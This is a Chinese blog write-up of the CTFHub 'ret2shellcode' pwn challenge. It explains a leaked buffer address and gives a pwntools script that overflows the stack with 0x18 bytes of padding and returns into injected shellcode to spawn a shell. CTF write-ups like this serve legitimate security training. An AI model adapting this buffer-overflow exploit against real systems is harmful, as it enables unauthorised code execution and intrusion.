CTFHUB-PWN-ret2shellcode

144次阅读
没有评论

共计 581 个字符,预计需要花费 2 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-27 14:50,文中所关联的信息可能已发生改变,请知悉!

CTFHUB-PWN-ret2shellcode

checksec

CTFHUB-PWN-ret2shellcode

IDA

CTFHUB-PWN-ret2shellcode

从 main 函数来看,程序运行时会先输出 buf_addr,利用 exp 脚本获取它即可。

然后程序给出一个输入点,可以通过覆盖完这个输入点,返回到我们获得的 buf_addr,再通过溢出达到 shellcode

运行

CTFHUB-PWN-ret2shellcode

可以看到一串地址,但它会每次变化

EXP

from pwn import *

p = process('./pwn')
# p = remote('challenge-2e237696f74ad1c2.sandbox.ctfhub.com', 24809)

context.arch = 'amd64'

p.recvuntil('it : [')
buf_addr = int(p.recvuntil(']', drop = True), 16)
shellcode_addr = buf_addr + 0x10 + 0x8 + 0x8
shellcode = asm(shellcraft.amd64.linux.sh())
payload = b'a' * 0x18 + p64(shellcode_addr) + shellcode
p.sendlineafter('someting : ', payload)

p.interactive()

结果

CTFHUB-PWN-ret2shellcode

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2021-10-26发表,共计581字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)